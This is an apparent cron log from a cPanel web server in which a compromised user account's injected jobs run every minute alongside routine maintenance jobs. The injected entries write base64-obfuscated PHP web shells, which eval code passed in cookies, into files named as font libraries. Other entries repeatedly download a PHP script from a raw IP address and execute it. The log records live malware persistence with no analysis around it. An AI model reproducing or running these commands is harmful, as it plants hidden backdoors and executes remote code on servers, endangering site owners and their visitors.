Sep  8 02:35:01 ip-184-168-122-23 CROND[25656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:35:01 ip-184-168-122-23 CROND[25653]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 02:35:01 ip-184-168-122-23 CROND[25652]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 02:35:01 ip-184-168-122-23 CROND[25654]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 02:35:01 ip-184-168-122-23 CROND[25650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:35:01 ip-184-168-122-23 CROND[25655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:36:01 ip-184-168-122-23 CROND[25753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:36:01 ip-184-168-122-23 CROND[25755]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 02:36:01 ip-184-168-122-23 CROND[25754]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:36:01 ip-184-168-122-23 CROND[25756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:36:01 ip-184-168-122-23 CROND[25757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:37:01 ip-184-168-122-23 CROND[25874]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:37:01 ip-184-168-122-23 CROND[25876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:37:01 ip-184-168-122-23 CROND[25878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:37:01 ip-184-168-122-23 CROND[25877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:38:01 ip-184-168-122-23 CROND[25968]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:38:01 ip-184-168-122-23 CROND[25971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:38:01 ip-184-168-122-23 CROND[25972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:38:01 ip-184-168-122-23 CROND[25969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:38:01 ip-184-168-122-23 CROND[25970]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 02:39:01 ip-184-168-122-23 CROND[26068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:39:01 ip-184-168-122-23 CROND[26069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:39:01 ip-184-168-122-23 CROND[26072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:39:01 ip-184-168-122-23 CROND[26071]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:39:01 ip-184-168-122-23 CROND[26073]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 02:40:01 ip-184-168-122-23 CROND[26173]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 02:40:01 ip-184-168-122-23 CROND[26176]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 02:40:01 ip-184-168-122-23 CROND[26178]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 02:40:01 ip-184-168-122-23 CROND[26179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:40:01 ip-184-168-122-23 CROND[26177]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 02:40:01 ip-184-168-122-23 CROND[26180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:40:01 ip-184-168-122-23 CROND[26181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:40:01 ip-184-168-122-23 CROND[26187]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:41:01 ip-184-168-122-23 CROND[26283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:41:01 ip-184-168-122-23 CROND[26284]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:41:01 ip-184-168-122-23 CROND[26286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:41:01 ip-184-168-122-23 CROND[26285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:42:01 ip-184-168-122-23 CROND[26481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:42:01 ip-184-168-122-23 CROND[26482]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 02:42:01 ip-184-168-122-23 CROND[26483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:42:01 ip-184-168-122-23 CROND[26480]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:42:01 ip-184-168-122-23 CROND[26484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:43:02 ip-184-168-122-23 CROND[26568]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:43:02 ip-184-168-122-23 CROND[26569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:43:02 ip-184-168-122-23 CROND[26570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:43:02 ip-184-168-122-23 CROND[26571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:44:01 ip-184-168-122-23 CROND[26650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:44:01 ip-184-168-122-23 CROND[26652]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 02:44:01 ip-184-168-122-23 CROND[26653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:44:01 ip-184-168-122-23 CROND[26651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:44:01 ip-184-168-122-23 CROND[26654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:45:01 ip-184-168-122-23 CROND[26738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:45:01 ip-184-168-122-23 CROND[26737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:45:01 ip-184-168-122-23 CROND[26741]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 02:45:01 ip-184-168-122-23 CROND[26740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:45:01 ip-184-168-122-23 CROND[26739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:45:01 ip-184-168-122-23 CROND[26742]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 02:46:01 ip-184-168-122-23 CROND[26869]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 02:46:01 ip-184-168-122-23 CROND[26871]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 02:46:01 ip-184-168-122-23 CROND[26873]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:46:01 ip-184-168-122-23 CROND[26874]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 02:46:01 ip-184-168-122-23 CROND[26875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:46:01 ip-184-168-122-23 CROND[26877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:46:01 ip-184-168-122-23 CROND[26876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:47:01 ip-184-168-122-23 CROND[26984]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
